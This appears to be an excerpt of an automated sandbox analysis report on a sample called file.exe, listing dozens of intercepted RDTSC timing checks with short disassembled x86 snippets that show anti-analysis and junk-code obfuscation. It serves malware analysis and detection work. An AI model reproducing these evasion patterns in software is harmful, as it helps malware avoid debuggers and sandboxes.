Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C321 second address: D9C33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9CAD0B62D5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D77E second address: D9D7F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9CAD0B9FC8h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F9CAD0B9FC8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a clc 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F9CAD0B9FC8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 ja 00007F9CAD0B9FCCh 0x0000004f xchg eax, ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 je 00007F9CAD0B9FC6h 0x00000059 pushad 0x0000005a popad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D7F1 second address: D9D814 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CAD0B62D9h 0x00000008 jmp 00007F9CAD0B62D3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D814 second address: D9D818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E9C9 second address: D9E9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9CAD0B62C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA077F second address: DA0783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA22A5 second address: DA22AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA22AB second address: DA22C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD3h 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA04A9 second address: DA04B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0FC0 second address: DA0FD6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9CAD0B9FCCh 0x00000008 ja 00007F9CAD0B9FC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA04B7 second address: DA04BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0FD6 second address: DA0FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B9FD9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA04BC second address: DA04C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA285F second address: DA28BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jl 00007F9CAD0B9FC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F9CAD0B9FC8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D210Dh], edx 0x00000031 push 00000000h 0x00000033 call 00007F9CAD0B9FD2h 0x00000038 mov si, 144Ch 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f add dword ptr [ebp+122D2E61h], eax 0x00000045 push eax 0x00000046 pushad 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA426C second address: DA4272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4272 second address: DA4276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4276 second address: DA427C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F8DD second address: D4F8E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F8E2 second address: D4F8E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F8E8 second address: D4F916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B9FCDh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F9CAD0B9FD6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F4E second address: DA6F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5CE0 second address: DA5CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F54 second address: DA6F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5CE4 second address: DA5D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F9CAD0B9FC6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F9CAD0B9FCAh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F58 second address: DA6F71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5D05 second address: DA5D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F71 second address: DA6F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F9CAD0B62C6h 0x0000000e jmp 00007F9CAD0B62CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5D0A second address: DA5D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F8C second address: DA6F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F90 second address: DA6FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F9CAD0B9FCCh 0x0000000f jbe 00007F9CAD0B9FC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9C11 second address: DA9C53 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007F9CAD0B62C6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, ecx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F9CAD0B62C8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov edi, ebx 0x0000002f movzx ebx, di 0x00000032 xchg eax, esi 0x00000033 push edi 0x00000034 push edi 0x00000035 push eax 0x00000036 pop eax 0x00000037 pop edi 0x00000038 pop edi 0x00000039 push eax 0x0000003a push ebx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABAD8 second address: DABAEF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9CAD0B9FC8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F9CAD0B9FC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABAEF second address: DABAF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABAF5 second address: DABB69 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F9CAD0B9FC6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1CBFh], edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F9CAD0B9FC8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f ja 00007F9CAD0B9FCCh 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F9CAD0B9FC8h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 movsx ebx, bx 0x00000054 push eax 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABB69 second address: DABB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABCAB second address: DABD5A instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CAD0B9FCCh 0x00000008 jl 00007F9CAD0B9FC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov edi, 3B4FAE00h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007F9CAD0B9FC8h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 push 00000000h 0x00000042 push edx 0x00000043 call 00007F9CAD0B9FC8h 0x00000048 pop edx 0x00000049 mov dword ptr [esp+04h], edx 0x0000004d add dword ptr [esp+04h], 00000018h 0x00000055 inc edx 0x00000056 push edx 0x00000057 ret 0x00000058 pop edx 0x00000059 ret 0x0000005a and ebx, 7602AEC5h 0x00000060 mov eax, dword ptr [ebp+122D1065h] 0x00000066 mov bh, 9Bh 0x00000068 push FFFFFFFFh 0x0000006a or dword ptr [ebp+122D3597h], ecx 0x00000070 nop 0x00000071 jne 00007F9CAD0B9FDFh 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a jnp 00007F9CAD0B9FCCh 0x00000080 jnl 00007F9CAD0B9FC6h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD978 second address: DAD97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADA22 second address: DADA3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADC4C second address: DADC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF9A4 second address: DAF9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF9A8 second address: DAFA29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F9CAD0B62C8h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F9CAD0B62C8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov dword ptr [ebp+1245B19Eh], esi 0x00000033 mov bx, D0A4h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F9CAD0B62C8h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 push 00000000h 0x00000055 mov di, dx 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b push ebx 0x0000005c pushad 0x0000005d popad 0x0000005e pop ebx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFA29 second address: DAFA2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFA2E second address: DAFA41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9CAD0B62C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFC55 second address: DAFC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52FB3 second address: D52FE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D9h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9CAD0B62CAh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0BD1 second address: DB0BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0BD5 second address: DB0BDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0BDB second address: DB0BE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3044 second address: DB3048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0BE0 second address: DB0BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0BF3 second address: DB0BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0BF7 second address: DB0CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F9CAD0B9FC8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push dword ptr fs:[00000000h] 0x00000029 jmp 00007F9CAD0B9FD4h 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F9CAD0B9FC8h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f jmp 00007F9CAD0B9FD4h 0x00000054 mov dword ptr [ebp+122D25B2h], edi 0x0000005a mov eax, dword ptr [ebp+122D0511h] 0x00000060 sbb bx, C952h 0x00000065 push FFFFFFFFh 0x00000067 call 00007F9CAD0B9FD2h 0x0000006c mov edi, dword ptr [ebp+12461A76h] 0x00000072 pop ebx 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 jno 00007F9CAD0B9FC8h 0x0000007c pushad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB40A6 second address: DB40AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5051 second address: DB5057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5057 second address: DB505B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB505B second address: DB50A1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9CAD0B9FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f or dword ptr [ebp+122D1CEDh], eax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F9CAD0B9FC8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 push 00000000h 0x00000033 jno 00007F9CAD0B9FCBh 0x00000039 xchg eax, esi 0x0000003a push ecx 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB61A9 second address: DB61B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8362 second address: DB8367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB93BB second address: DB93C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB947B second address: DB94A9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CAD0B9FD0h 0x00000008 jmp 00007F9CAD0B9FCAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F9CAD0B9FD5h 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD65A second address: DBD65E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D564F5 second address: D5650D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5626 second address: DC562C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC562C second address: DC564B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F9CAD0B9FD1h 0x0000000b jmp 00007F9CAD0B9FCBh 0x00000010 pushad 0x00000011 jl 00007F9CAD0B9FC6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4F18 second address: DC4F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9CAD0B62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4F22 second address: DC4F3D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9CAD0B9FC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F9CAD0B9FCCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4F3D second address: DC4F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4F43 second address: DC4F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCAC4 second address: DCCAC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCD30 second address: DCCD36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCD36 second address: DCCD4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9CAD0B62CEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD191D second address: DD1923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11E3 second address: DD11E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11E9 second address: DD124B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F9CAD0B9FD9h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F9CAD0B9FD4h 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F9CAD0B9FD8h 0x00000019 push ecx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F9CAD0B9FCBh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD14F0 second address: DD1511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9CAD0B62D0h 0x00000008 jmp 00007F9CAD0B62CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD165D second address: DD1667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9CAD0B9FC6h 0x0000000a rdtsc
